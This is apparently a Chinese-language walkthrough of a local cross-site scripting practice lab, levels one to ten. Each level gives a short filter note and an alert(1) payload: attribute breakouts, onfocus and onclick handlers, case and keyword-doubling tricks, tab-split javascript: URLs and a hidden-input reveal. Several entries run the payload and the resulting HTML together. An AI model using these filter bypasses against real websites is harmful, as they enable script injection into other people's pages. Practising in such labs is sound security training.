第一關

localhost:8083/xss/level1.php?name=test<script>alert(1)</script>

第二關

源碼

文本框輸入js代碼,查看源碼

由於第一個,[<]被轉義,因此在第二個里試
源代碼的樣式
<input name=keyword value=" ">
插入的代碼
"><script>alert(1)</script><a class="
完整顯示的代碼
<input name=keyword value=""><script>alert(1)</script><a class="">

第三關
"><script>alert(1)</script><aclass="

第二個也對[<]做了轉義,是單引號
<input name=keyword value=' '>' onfocus='alert(1)<input name=keyword value='' onfocus='alert(1)'>

第四關

雙引號
<input name=keyword value=" ">" onfocus="alert(1)<input name=keyword value="" onfocus="alert(1)">

第五關

雙引號,對on進行過濾
"><ScRiPt>alert(1)</script><a class="

對script進行過濾
<input name=keyword value=" ">"><a href="javascript:alert(1)">點擊我</a class="<input name=keyword value=" "><a href="javascript:alert(1)">點擊我</a class=" ">

第六關

對href進行了過濾
<input name=keyword value=" ">"><ScRiPt>alert(1)</script><a class="<input name=keyword value=""><ScRiPt>alert(1)</script><a class="">

第七關

<input name=keyword value=" ">"><scrscriptipt>alert(1)</scscriptript><a class="<input name=keyword value=""><scrscriptipt>alert(1)</scscriptript><a class="">

第八關

對script進行了過濾
使用偽事件(用tab進行反過濾)
<a href=" ">javasc ript:alert(1)<a href="javasc ript:alert(1)">

第九關

發現只有使用http://,且他們為完整的就行
偽事件(將r轉化為10進制)
<a href=" ">javascript:alert('http://')<a href="javascript:alert('http://')">

第十關

有三個input標簽被隱藏,在url上看看
?keyword=well done!&t_link=111&t_history=222&t_sort=333

第三個input標簽有顯示,在這個上面想方法
<input name="t_sort" value="333" type="hidden">&t_sort=333" onclick=alert(1) type="text<input name="t_sort" value="333" onclick=alert(1)type="text " type="hidden">
把input顯示出來
